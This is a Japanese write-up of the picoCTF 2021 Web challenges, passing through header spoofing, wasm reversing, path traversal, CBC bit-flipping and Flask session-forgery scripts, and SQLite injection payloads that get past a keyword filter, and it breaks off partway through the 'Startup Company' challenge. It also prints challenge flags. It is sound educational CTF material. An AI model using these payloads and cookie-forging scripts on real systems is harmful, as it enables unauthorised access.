2021年3月16日~3月30日(日本時間では3月17日~3月31日)に開催された中高生向けのCTF大会、picoCTFの[Web]分野のwriteupです。
その他のジャンルについてはこちらを参照
Ancient History
I must have been sleep hacking or something, I don't remember visiting all of these sites... http://mercury.picoctf.net:47733/ (try a couple different browsers if it's not working right)
リンク先のサイトを訪れてみると、Hello Wrold!
の表示があるのみ。ソースを見てみると、何やら難読化されたスクリプトが。
何か仕掛けがありそう & 問題タイトルのhistory
より、よくブラウザを見てみるとこのサイトを新しいタブで開いたはずなのに履歴が辿れるようになっている。
全履歴を表示してみると、履歴のurlのクエリ部分に一文字ずつflagが。
chromeの履歴一覧ではうまく全部出てこなかったので、safariで試したところうまく行った👍
picoCTF{th4ts_k1nd4_n34t_814c5bcf}
GET aHEAD
Find the flag being held on this server to get ahead of the competition http://mercury.picoctf.net:53554/
あ、これ目にアカンやつや…。
ソースコードを眺めても特に怪しいところはなかったのだが、redがGET
methodのとき、blueがPOST
methodのとき、というのが気になる。
他のmethodはどうなるんや?ということで、タイトルから推測して HEAD
methodを試してみたところ、flagが降ってきました。
$ curl -v -X HEAD http://mercury.picoctf.net:53554/ Warning: Setting custom HTTP method to HEAD with -X/--request may not work the Warning: way you want. Consider using -I/--head instead. * Trying 18.189.209.142... * TCP_NODELAY set * Connected to mercury.picoctf.net (18.189.209.142) port 53554 (#0) > HEAD / HTTP/1.1 > Host: mercury.picoctf.net:53554 > User-Agent: curl/7.64.1 > Accept: */* > < HTTP/1.1 200 OK < flag: picoCTF{r3j3ct_th3_du4l1ty_2e5ba39f} < Content-type: text/html; charset=UTF-8 * no chunk, no close, no size. Assume close to signal end < * Closing connection 0
Cookies
Who doesn't love cookies? Try to figure out the best one. http://mercury.picoctf.net:6418/
こんなページに案内されます。
cookieらしいのでcookieを見てみると、name=-1
が入っています。
何度かページを更新していると、なんかちらっと一瞬他のcookieが設定されている気がする。Networkでrequest/responseをちゃんと見てみると、
session=session=eyJfZmxhc2hlcyI6W3siIHQiOlsiZGFuZ2VyIiwiVGhhdCBkb2Vzbid0IGFwcGVhciB0byBiZSBhIHZhbGlkIGNvb2tpZS4iXX1dfQ.YFHBdg.caSl3vwW5CiM4YWi2hXJGZyOEg4
みたいなcookieも設定されている。が、これをbase64 decodeして直してみても
{"_flashes":[{" t":["danger","That doesn't appear to be a valid cookie."]}]}
だって。
こんな感じでいくつかcookieが設定されてるのかな、と思い、Cookieの種別一覧なんかを見ながら適切なcookieを探してみるも、ヒットせず。
そういえば、検索機能の欄にdefaultで何か入っていたな、と思い、defaultのsnickerdoodle
を入れてみると、検索結果がhitに変化。cookieを確認してみると、name=0
に変わっています!
name=1
にしてページを更新してみると、今度は
I love chocolate chip cookies!
に変化。なるほど、cookieでnameのindexをセットしている感じだ。ではflagが出るまで試していきます。
雑スクリプト。
import requests url = 'http://mercury.picoctf.net:6418/check' for i in range(100): print(i) cookies = dict(name=str(i)) res = requests.get(url, cookies=cookies) if 'picoCTF' in res.text: print(res.text) break
実行結果
$ python cookie.py 0 1 ... 割愛 17 18 <!DOCTYPE html> <html lang="en"> ... 割愛 <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{3v3ry1_l0v3s_c00k135_88acab36}</code></p> </div> ... 割愛 </html>
でた👍
Scavenger Hunt
There is some interesting information hidden around this site http://mercury.picoctf.net:27278/. Can you find it?
こんなサイト。
Whatのタブには、こんな情報が。
What I used these to make this site: HTML CSS JS (JavaScript)
Chrom開発者ツールのSourcesから、それぞれの構成ファイルを見てみると、コメントアウトなどしてflagの断片やヒントが書かれています。
index(html): <!-- Here's the first part of the flag: picoCTF{t --> mycss.css: /* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */ myjs.js: /* How can I keep Google from indexing my website? */
myjs.js
のヒントより、/robots.txt
を訪れてみると
User-agent: * Disallow: /index.html # Part 3: t_0f_pl4c # I think this is an apache server... can you Access the next flag?
まだ続きがあるみたいです。apatch servereということは、ファイル一覧が見れるpathが開いてるかも。
…と思って、index.html
とかにアクセスしてみたけど違うみたい。他、apacheのアクセス制御といえば… .htaccess
。ということで/.htaccess
にアクセスしてみると
# Part 4: 3s_2_lO0k # I love making websites on my Mac, I can Store a lot of information there.
最後じゃなかった。mac?私もmac使っとるぞ。
Mac特有のファイルといえば、githubとか使っててignore設定を真っ先にするファイル .DS_Store
が思いつく。/.DS_Store
にアクセスしてみると
Congrats! You completed the scavenger hunt. Part 5: _a69684fd}
断片をつなげるとflagに 🙌
Who are you?
Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn http://mercury.picoctf.net:39114/
サイトを訪れると
Only people who use the official PicoBrowser are allowed on this site!
とのこと。curlでUserAgentを指定してみます。
$ curl -A "PicoBrowser" http://mercury.picoctf.net:39114/
今度は
I don't trust users visiting from another site.
と言われるので、refererを設定してあげます。
$ curl -A "PicoBrowser" http://mercury.picoctf.net:39114/ --referer http://mercury.picoctf.net:39114/
Sorry, this site only worked in 2018.
タイムスリップする必要があるらしい。ちょっとよくわかんなかったので、Linux(Ubuntu)VMの時刻を一時的にずらして対応。ホストの時間操作するのは怖いので。
$ timedatectl set-ntp no $ timedatectl set-time "2018-08-15 07:22:00" $ timedatectl status Local time: 水 2018-08-15 07:22:12 JST Universal time: 火 2018-08-14 22:22:12 UTC RTC time: 火 2018-08-14 22:22:12 Time zone: Asia/Tokyo (JST, +0900) System clock synchronized: no NTP service: inactive RTC in local TZ: no $ date 2018年 8月 15日 水曜日 07:22:25 JST $ curl -A "PicoBrowser" http://mercury.picoctf.net:39114/ --referer http://mercury.picoctf.net:39114/
うーん。でも2018年で動かせと。2018年とは認識されていないらしい。何処かにtimestamp情報記載されて送られてそうなもんだけど、見ているところは別にあるみたい。
ここまでの流れからして、リクエストに明示的に時間を載せて上げる必要がありそう。調べてみるとこんなのが。
Headerに入れてみるか。
$ curl -A "PicoBrowser" -H "Date: Wed, 15 Aug 2018 07:28:00 JST" http://mercury.picoctf.net:39114/ --referer http://mercury.picoctf.net:39114/
I don't trust users who can be tracked.
おお!変わった!時刻の件は通ったっぽい。
trackでググると、"Do Not Track" という仕組みがあるらしい。
Do Not Track(DNT)について | GMOインターネット 次世代システム研究室
これをヘッダにつけてあげると良さそう。
$ curl -A "PicoBrowser" -H "DNT: 1" -H "Date: Wed, 15 Aug 2018 07:28:00 JST" http://mercury.picoctf.net:39114/ --referer http://mercury.picoctf.net:39114/
This website is only for people from Sweden.
OK, スウェーデンからね。IPアドレスを送ってあげます。スウェーデンのIPレンジは下記から取得。
Sweden IP Address Ranges | IP2Location LITE
$ curl -A "PicoBrowser" -H "X-Forwarded-For: 2.16.66.1" -H "DNT: 1" -H "Date: Wed, 15 Aug 2018 07:28:00 JST" http://mercury.picoctf.net:39114/ --referer http://mercury.picoctf.net:39114/
You're in Sweden but you don't speak Swedish?
OK、言葉も設定ね。"Accept-Language"で設定します。この辺を見つつ。
$ curl -A "PicoBrowser" -H "Accept-Language: sv-SE" -H "X-Forwarded-For: 2.16.66.1" -H "DNT: 1" -H "Date: Wed, 15 Aug 2018 07:28:00 JST" http://mercury.picoctf.net:39114/ --referer http://mercury.picoctf.net:39114/
What can I say except, you are welcome picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_20ace0e4}
いやー長い問題だった…。
Some Assembly Required 1
サイトを訪れてみると、Enter flag
とだけあるシンプルなサイト。
Chrome開発者ツールでNetworkを覗いてみると、怪しいバイナリっぽいファイルJIFxzHyW8W
がいます。
開発者ツール上で見てみると、flagが書いてありました。
Some Assembly Required 2
さっきと同じ画面。
今度はaD8SvhyVkb
というバイナリファイルがあり、直接フラグは書いてないみたい。
このバイナリファイル、wasmファイルなのでdecompileしてみる。
WebAssemblyファイルをデコンパイルする | hifive開発者ブログ
こちらのサイトを参考にdecompileまでしてみた。
$ git clone --recursive https://github.com/WebAssembly/wabt $ cd wabt $ make $ ./bin/wasm2c ../aD8SvhyVkb
実行結果抜粋
static const u8 data_segment_data_0[] = { 0x78, 0x61, 0x6b, 0x67, 0x4b, 0x5c, 0x4e, 0x73, 0x6d, 0x6e, 0x3b, 0x6a, 0x38, 0x6a, 0x3c, 0x39, 0x3b, 0x3c, 0x3f, 0x3d, 0x6c, 0x3f, 0x6b, 0x38, 0x38, 0x6d, 0x6d, 0x31, 0x6e, 0x39, 0x69, 0x31, 0x6a, 0x3e, 0x3a, 0x38, 0x6b, 0x3f, 0x6c, 0x30, 0x75, 0x00, 0x00, };
これは16進数のflag…!
かと思ったけどそのままascii変換してもだめだった。
このあと、cにしたコードをコンパイルして実行してみたり色々したけど、もう一度思い直して上記の値をCyberChefに突っ込んで色々やってみたらflag出た。
まぁ何かしらでXOR処理入ってるっぽいな、というくらいはコードを眺めたのだけど。
CyberChef、わけも分からずに使っても実力はつかない気がするけど、ちゃんと仕組みを理解した上で色々試す分には本当に良い。本当に良い。(以降多用)
Some Assembly Required 3
1,2と同様に、Chrome開発者ツールのNetworkから、qCCYI0ajpD
がDLできます。
$ file qCCYI0ajpD qCCYI0ajpD: WebAssembly (wasm) binary module version 0x1 (MVP)
またwasmです。
同じ手順でdecompileしてみます。
気になる領域だけ抜粋。
static const u8 data_segment_data_0[] = { 0x9d, 0x6e, 0x93, 0xc8, 0xb2, 0xb9, 0x41, 0x8b, 0xc1, 0xc5, 0xdc, 0x61, 0xc6, 0x97, 0x94, 0x8c, 0x66, 0x91, 0x91, 0xc1, 0x89, 0x33, 0x94, 0x9e, 0xc9, 0xdd, 0x61, 0x91, 0xc4, 0xc8, 0xdd, 0x62, 0xc0, 0x92, 0xc1, 0x8c, 0x37, 0x95, 0x93, 0xc8, 0x90, 0x00, 0x00, }; static const u8 data_segment_data_1[] = { 0xf1, 0xa7, 0xf0, 0x07, 0xed, };
data_segment_data_0
の方をcyberchefに突っ込み、from Hex
した後、Some Assembly Required 2と同様にxorのbrute forceをやってみるもうまいこと行きません。
最初の文字はfalg formatのpico
になると想定して、xor brute forceで最初の文字がp
になるためのxor
相手を見てみると、
Key = ed: p.~%_T¬f,(1.+zya.||,dÞys$0.|)%0.-.,aÚx~%}
ed
だ!
data_segment_data_1
の最後がed
なので、これを逆順にxorの鍵として渡すと、flagが出てきました!
…Web問題なのか?
Some Assembly Required 4
このシリーズ最後の問題。Webなのに苦手なアセンブリで辛い(結局解答に至った手順ではほとんどアセンブリ使ってないけど)
今度は ZoRd23o0wd
がDLできます。
同様にdecompileして、気になるところを抜き出してみます。
static const u8 data_segment_data_0[] = { 0x18, 0x6a, 0x7c, 0x61, 0x11, 0x38, 0x69, 0x37, 0x1e, 0x5f, 0x7d, 0x5b, 0x68, 0x4b, 0x5d, 0x3d, 0x02, 0x18, 0x14, 0x7b, 0x65, 0x36, 0x45, 0x5d, 0x28, 0x5c, 0x33, 0x45, 0x09, 0x39, 0x56, 0x44, 0x42, 0x7d, 0x3b, 0x6f, 0x40, 0x57, 0x7f, 0x0e, 0x59, 0x00, 0x00, };
あとは、w2c_check_flag
関数がめっちゃ大きくなってるのと、今まで出てきていなかったと思われるシフト演算 (<<
) などがちょいちょい出てきている。
この数値をCyberChefにかけても何も得られなかったので、ちゃんとコードを読んでみることに。
wasm2cで2,3と同じようにdecompileしたのだけど、長くてとても読めそうにない。
慣れているghidraの吐いたcコードなら行けるかと思い、こちらのリンクのfac
をコンパイルする方法を参考に、main.c
を作成してコンパイルしてみました。
wabt/wasm2c at main · WebAssembly/wabt · GitHub
wasm2c -> compile -> ghidraでdecompileした結果を読んで下記のスクリプトを作った…のですが、flagにならず。
given_arry = [0x18, 0x6a, 0x7c, 0x61, 0x11, 0x38, 0x69, 0x37, 0x1e, 0x5f, 0x7d, 0x5b, 0x68, 0x4b, 0x5d, 0x3d, 0x02, 0x18, 0x14, 0x7b, 0x65, 0x36, 0x45, 0x5d, 0x28, 0x5c, 0x33, 0x45, 0x09, 0x39, 0x56, 0x44, 0x42, 0x7d, 0x3b, 0x6f, 0x40, 0x57, 0x7f, 0x0e, 0x59] changed_arry = given_arry.copy() for i in range(len(given_arry)): changed_arry[i] = given_arry[i] ^ 0x14 if 0 < i: changed_arry[i] = changed_arry[i] ^ changed_arry[i-1] if 2 < i: changed_arry[i] = changed_arry[i] ^ changed_arry[i-3] changed_arry[i] = changed_arry[i] ^ (i % 10) if i % 2 == 0: changed_arry[i] = changed_arry[i] ^ 9 else: changed_arry[i] = changed_arry[i] ^ 8 if i % 3 == 0: changed_arry[i] = changed_arry[i] ^ 7 elif i % 3 == 1: changed_arry[i] = changed_arry[i] ^ 6 else: changed_arry[i] = changed_arry[i] ^ 5 for i in range(len(given_arry)-1): if i % 2 == 0: k = changed_arry[i] changed_arry[i] = changed_arry[i+1] changed_arry[i+1] = k for c in changed_arry: #print(hex(c)[2:], end=' ') print(str(c), end=' ')
早く他の人のwriteupが読みたい…。何処が違ったんや…。結構な苦行だったぞ…。
わからんわからんと調べ得ているうちに、wasmがChrom開発者ツールからも読めるようになっている&なんとステップ実行できるようになっていることを知る。
chrome開発者ツール > Sources > wasm > 869d0496
で、decompileされたwasmを見せてくれる & breakpointを設定できるので、0x0791
行目のstrcmp
関数呼び出しのところにbreakpointを貼って、さっきのコードからの解析だと最後に二文字ずつ入れ替えが発生しているので2文字ずつペアにして、正しい値がScopeの
Module > $memory > buffer > 1072
のアドレスの値が、1024
のアドレスと同じになるようにチマチマやっていきました…。
コードからズバッと出したかったなぁ…。
最後まで行ったのでenterしたらなんとか通った…。
picoCTF{7d7a0a45096d8254b6661ed08cd52ee4}
More Cookies
I forgot Cookies can Be modified Client-side, so now I decided to encrypt them! http://mercury.picoctf.net:25992/
サイトを訪れてみるとこんな感じ。
cookieを確認してみると、
auth_name: YlNXaStyRE5JYWhvZEIwKzBPaVc1cjJFRDc4Y3FDVENvcWpyMEVBdUlxOXNJK2hQTEY5cmV3L0hETmlYZWtPRkxzM3VGYWQyc1JhOGxkM0VSVFFCS3BSSDVjRHhmLzFCSHV6OGl6UXE1Um5zeG5wZzRMTFJKSXdEV2Ntc0g5eXg=
Base64 decodeしてみると
bSWi+rDNIahodB0+0OiW5r2ED78cqCTCoqjr0EAuIq9sI+hPLF9rew/HDNiXekOFLs3uFad2sRa8ld3ERTQBKpRH5cDxf/1BHuz8izQq5Rnsxnpg4LLRJIwDWcmsH9yx
もう一度Base64 decodeできそう。けどもう一度やってみても意味のある値は出てこず。
cookieはリセットする度に変わるので、固定値ではなさそう。
auth_name
にadmin
をいれると、decodeできないと怒られます。admin
をbase64 encodeしただけ or base64 encode×2でもだめ。
ヒントを見ると、Homomorphic encryption - Wikipedia この暗号の解説ページに。
日本語のwikipediaはこちら。準同型暗号 - Wikipedia
準同型性の暗号の総称らしく、「これ」という暗号方式を教えてくれているわけではなさそう。
そういえば、問題文が不自然に大文字が混じっている。
大文字をつなげると、CBC…CBCといえば暗号のモードの一つ。一番一般的なのは、AES-CBC?
でもkeyもivも不明。
keyもivも不明で、CBC絡みで攻撃に使えそうなもの…。
そういえば、picoCTFのcookie系って user:1
とか admin:0
みたいな感じで格納されていることが多かったな?平文のcookieのどこか1バイト返れられればうまく行ったりしないかな?
ヒントの
The search endpoint is only helpful for telling you if you are admin or not, you won't be able to guess the flag name
からも、adminとしてログインできれば良くて、cookieの平文がflagになってたりするわけではなさそう。
~めっちゃググりタイム & ハズレ解法の試行タイム~
下記で紹介されているような Bit-flipping attack on CBC mode が使えないかしら。
To change a byte in the plaintext by corrupting a byte in the ciphertext.
ほうほう!
base64なので、候補の文字列は64文字。これを1文字ずつflipさせてみてうまくいくか試してみます。
import requests import string candidates = string.ascii_letters + string.digits + '+/' url = 'http://mercury.picoctf.net:25992/' flag_format = 'picoCTF{' def attack(cookie): cookies = {'auth_name': cookie} res = requests.get(url, cookies=cookies) #print(res.text) if flag_format in res.text: print(cookie) print(res.text) return True return False while True: s = requests.session() res = s.get(url) cookie = s.cookies.get('auth_name') print(cookie) for i in range(len(cookie)): print(i) for c in candidates: chall = cookie[:i] + c + cookie[i+1:] #print(chall) if (attack(chall)): exit(0)
実行結果
$ python solve.py VU5Nbm5hTVJrODZRZ29xMC9SWkdPWitZZjg3Nk9aYU81MlV5MDZPaHVkQ29OT1VGcDZZQk9TM3Rlb0RCZDVLMVV3LzNIcUJKMk5sTXZCdnM3MDRUK3NZNU1TemgwN01pN1ZTd2dxTDJma2xsSnlqL01lOFBJK3c1ODM5eU0zOXQ= 0 1 2 3 4 ...(中略)... YXdmUXZ5YTA3YVhxSmoyaUZFQzU0eWVCWWkvL0NsRXdzWjYzZEQvaUd0Tld3Zys4NHR3RFhST2lWcWQyTEE5bSsraUtXY05WeEhwM0ZoL2tLQUJmVkFWNUNCU1ZydDMrNWJueHNJeExxOGRaeitoMVdsTWoycDk4Q0VJbHZ0Rnc= 0 1 2 ...(中略)... 15 16 17 YXdmUXZ5YTA3YVhxSnoyaUZFQzU0eWVCWWkvL0NsRXdzWjYzZEQvaUd0Tld3Zys4NHR3RFhST2lWcWQyTEE5bSsraUtXY05WeEhwM0ZoL2tLQUJmVkFWNUNCU1ZydDMrNWJueHNJeExxOGRaeitoMVdsTWoycDk4Q0VJbHZ0Rnc= <!DOCTYPE html> <html lang="en"> ...(中略)... <head> <title>More Cookies</title> <body> <div class="container"> <div class="header"> <nav> <ul class="nav nav-pills pull-right"> <li role="presentation"><a href="/reset" class="btn btn-link pull-right">Reset</a> </li> </ul> </nav> <h3 class="text-muted">More Cookies</h3> </div> <div class="jumbotron"> <p class="lead"></p> <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{cO0ki3s_yum_82f39377}</code></p> </div> ...(中略)... </html>
3個目のcookieに対してflag出ました!
これは…難しかった…。めっちゃ時間かかった…。なんで90pt?
It is my Birthday
I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website. http://mercury.picoctf.net:57247/
サイトを訪れるとこんな感じ。
問題文より、MD5 hashが同じファイルをアップロードすれば良さそう。
SANS Holliday Hack Challenge 2020 の 11b) Naughty/Nice List with Blockchain Investigation Part 2 で、md5Hashが衝突するPDFをちょうど作成したところだったので、このファイルを突っ込んだら大きすぎると怒られた。残念。
Peter Selinger: MD5 Collision Demo
こちらのMD5 hashの衝突に関するサイトの two PostScript files with identical MD5 hash
リンクの先にある2つのpsファイル letter
とorder
をDLし、そのままだと怒られたので「どうせ拡張子しか見とらんじゃろう」と拡張子を.pdf
にしてアップロードしたところ、phpコードが表示されてフラグが書いてありました👍
Super Serial
Try to recover the flag stored on this website http://mercury.picoctf.net:8404/
Hints
The flag is at ../flag
こんなサイト。
何処かで見たような名前だなーと思って過去問を見てみると
picoCTF2019 [Web] cereal hacker 1 (450pt)
画面が全く同じ & タイトルが似ている。
とりあえずflagのpathを教えてもらっているので、directory traversalなどをやってみる。
GitHub - JahTheTrueGod/Directory-Traversal-Cheat-Sheet: Directory traversal refresher
このへんを見ながら、まずは素直に../flag
にアクセスを試みると
$ curl --path-as-is http://mercury.picoctf.net:8404/../flag $ curl --path-as-is http://mercury.picoctf.net:8404/....//flag $ curl --path-as-is http://mercury.picoctf.net:8404/..../flag $ curl --path-as-is http://mercury.picoctf.net:8404/%2e%2e/flag picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_66832978}
出た!.
を%エンコードするだけで良かった。
去年の問題全然関係なかった。
Most Cookies
Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:52134/
サイトを訪れるとこんな感じ。
最初にセットされているcookieは
session:eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YFJ9XA.6wZUhi3niOQknP3zuJ8rWiNYndw
base64 decode: {"very_auth":"blank"}R}\.°eHbÞx.BIÏß;.òµ¢5.ÝÄ
snickerdoodleにした時は
session: eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YFJ9iQ.jUxRgP6A91mSEQ8gabxhY7GIBng
,
base64 decode: {"very_auth":"snickerdoodle"}...bB51F.ú.ÝfHD<.¦ñ..Æ .à
ヒントからも、sessionの形式からも、過去のpicoCTFでも出題された、flaskのsession改ざん問題のようです。
secretがわからないなー、と思ってたら、server.py
が配布されていた!
from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session import random app = Flask(__name__) flag_value = open("./flag").read().rstrip() title = "Most Cookies" cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] app.secret_key = random.choice(cookie_names) @app.route("/") def main(): if session.get("very_auth"): check = session["very_auth"] if check == "blank": return render_template("index.html", title=title) else: return make_response(redirect("/display")) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp @app.route("/search", methods=["GET", "POST"]) def search(): if "name" in request.form and request.form["name"] in cookie_names: resp = make_response(redirect("/display")) session["very_auth"] = request.form["name"] return resp else: message = "That doesn't appear to be a valid cookie." category = "danger" flash(message, category) resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp @app.route("/reset") def reset(): resp = make_response(redirect("/")) session.pop("very_auth", None) return resp @app.route("/display", methods=["GET"]) def flag(): if session.get("very_auth"): check = session["very_auth"] if check == "admin": resp = make_response(render_template("flag.html", value=flag_value, title=title)) return resp flash("That is a cookie! Not very special though...", "success") return render_template("not-flag.html", title=title, cookie_name=session["very_auth"]) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp if __name__ == "__main__": app.run()
secret_keyはcookie_names
の中からランダムで決まるらしい!
picoCTF2019 [Web] Empire2 (450pt) で使ったコードを流用して、まずは今の snickerdoodles
のときのsecret_keyを割り出してみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- # this code is refer to bellow site # https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f#flask-%E3%81%AE%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E6%94%B9%E3%81%96%E3%82%93 from flask.sessions import SecureCookieSessionInterface from itsdangerous import base64_decode, URLSafeTimedSerializer cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] snicker_session = 'eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YFMmCw.GTDdcd35Hd-cyfkZ8Y1zUkEgw1Q' class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): # NOTE: Override method def get_signing_serializer(self, secret_key): signer_kwargs = { 'key_derivation': self.key_derivation, 'digest_method': self.digest_method } return URLSafeTimedSerializer( secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs ) class FlaskSessionCookieManager: @classmethod def decode(cls, secret_key, cookie): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.loads(cookie) @classmethod def encode(cls, secret_key, session): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.dumps(session) # main for key in cookie_names: try: session = FlaskSessionCookieManager.decode(key, snicker_session) print(key, session) break except: continue
実行結果
$ python solve.py tassie {'very_auth': 'snickerdoodle'}
secretはtassie
だったみたい!これはcookieを取るごとに変わるのかな。
このsecretを使って、very_auth
をadmin
に変えてみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- # this code is refer to bellow site # https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f#flask-%E3%81%AE%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E6%94%B9%E3%81%96%E3%82%93 from flask.sessions import SecureCookieSessionInterface from itsdangerous import base64_decode, URLSafeTimedSerializer cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] snicker_session = 'eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YFMmCw.GTDdcd35Hd-cyfkZ8Y1zUkEgw1Q' class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): # NOTE: Override method def get_signing_serializer(self, secret_key): signer_kwargs = { 'key_derivation': self.key_derivation, 'digest_method': self.digest_method } return URLSafeTimedSerializer( secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs ) class FlaskSessionCookieManager: @classmethod def decode(cls, secret_key, cookie): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.loads(cookie) @classmethod def encode(cls, secret_key, session): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.dumps(session) # main for key in cookie_names: try: session = FlaskSessionCookieManager.decode(key, snicker_session) print(key, session) secret_key = key break except: continue admin_session = session admin_session['very_auth'] = 'admin' admin_cookie = FlaskSessionCookieManager.encode(secret_key, admin_session) print(admin_cookie)
実行結果
$ python solve.py tassie {'very_auth': 'snickerdoodle'} eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.YFMp1Q.pYlPf_plkGeQ0DoSE0_QzA9kSMc
このcookieをセットして画面をリロードすると、flagがでてきました🎉
Web Gauntlet 2
This website looks familiar... Log in as admin Site: http://mercury.picoctf.net:26215/ Filter: http://mercury.picoctf.net:26215/filter.php
ん?2だけど1はあったかな?
お、SQL injection問だ!待ってました!!
filterはこんな感じ。
Filters: or and true false union like = > < ; -- / / admin
ヒントより、sqliteみたい。
あ!昨年のmini competition が シリーズ1だったのか。納得。
mini competitionのときはround5まであったけど、今回は1回で終わりらしい。
いろいろ試してみたところ、入力は合わせて35文字以下でないといけないらしい。
裏に入力値を含んだクエリを表示してくれる。
SELECT useername, password FROM users WHERE username='${usernmame}' AND password='${password}'
こんな感じでクエリに変換されるようだ。
filterによってコメントアウトが使えない。これは困った。
Username: ' where 'ad'||'min' in( Password: )%00
このように関数に入れたりしちゃえば、邪魔な And Password=
をただの文字列として扱えそうではある。
ちなみにsqlietでは ||
は or ではなくて文字連結として扱われるので 'ad'||'min'
はadmin
と解釈される。その代わり or
を ||
, and
を &&
というのは使えない。
よし。localで試してみよう。sqlite3 はインストール済みなので、dbとtable作成。
$ sqlite3 gauntlet.sqlite sqlite> create table users(username TEXT NOT NULL, password TEXT NOT NULL); sqlite> insert into users values('admin', 'testpassword'); sqlite> insert into users values('guest', 'guestpassword');
さっきの「関数に And Password=」を入れちゃう作戦を実践してみる。
sqlite> SELECT username, password FROM users WHERE username='ad'||'min' and password not in(' And Password='); admin|testpassword
これだとand
やor
が入っちゃってるけど、こんな感じで行けそうな気がしてきたぞ。そもそもpassword
にもorが入ってるから使えないのと、order by
にもor
が入ってるから使えない。
他に使えそうなのは… group by
!
sqlite> SELECT username, password FROM users WHERE username='ad'||'min' group by ' And Password'; admin|testpassword
お!行けそう!!
Username: ad'||'min' group by Password: '
やったー!!
filter.php を見てみると、ソースコードとflagが表示されていました。
<?php session_start(); if (!isset($_SESSION["winner2"])) { $_SESSION["winner2"] = 0; } $win = $_SESSION["winner2"]; $view = ($_SERVER["PHP_SELF"] == "/filter.php"); if ($win === 0) { $filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin"); if ($view) { echo "Filters: ".implode(" ", $filter)."<br/>"; } } else if ($win === 1) { if ($view) { highlight_file("filter.php"); } $_SESSION["winner2"] = 0; // <- Don't refresh! } else { $_SESSION["winner2"] = 0; } // picoCTF{0n3_m0r3_t1m3_fc0f841ee8e0d3e1f479f1a01a617ebb} ?>
🙌
Web Gauntlet 3
Last time, I promise! Only 25 characters this time. Log in as admin Site: http://mercury.picoctf.net:29772/ Filter: http://mercury.picoctf.net:29772/filter.php
Web Gauntlet 2と同じようなサイトとfilter。今度は25文字制限とのこと。
さっき(Web Gauntlet 2)解いたときすでに25文字内だったので行けそうだけど…。
Username: ad'||'min' group by Password: '
🙌
filter.phpにまたソースとflagがでていました。
<?php session_start(); if (!isset($_SESSION["winner3"])) { $_SESSION["winner3"] = 0; } $win = $_SESSION["winner3"]; $view = ($_SERVER["PHP_SELF"] == "/filter.php"); if ($win === 0) { $filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin"); if ($view) { echo "Filters: ".implode(" ", $filter)."<br/>"; } } else if ($win === 1) { if ($view) { highlight_file("filter.php"); } $_SESSION["winner3"] = 0; // <- Don't refresh! } else { $_SESSION["winner3"] = 0; } // picoCTF{k3ep_1t_sh0rt_30593712914d76105748604617f4006a} ?>
Startup Company
Do you want to fund my startup? http://mercury.picoctf.net:49884/
サイトを訪れてみます。
先にヒントを見てみると
Try to get an error What do you think the query looks like? sqlite
またsqliteのSQL injectionかな?
今度は左上の方に Register 機能がある。とりあえず適当なユーザーをregistしてみた。
ここからStartup Companyに寄付できるらしい。寄付してみる。
寄付するときのpathは
Request URL: http://mercury.picoctf.net:49884/contribute.php Request Method: POST
ブラウザからは数値しか入力できないようになっているので、pythonで好きな値を送れるようにしてみます。
この時 captcha
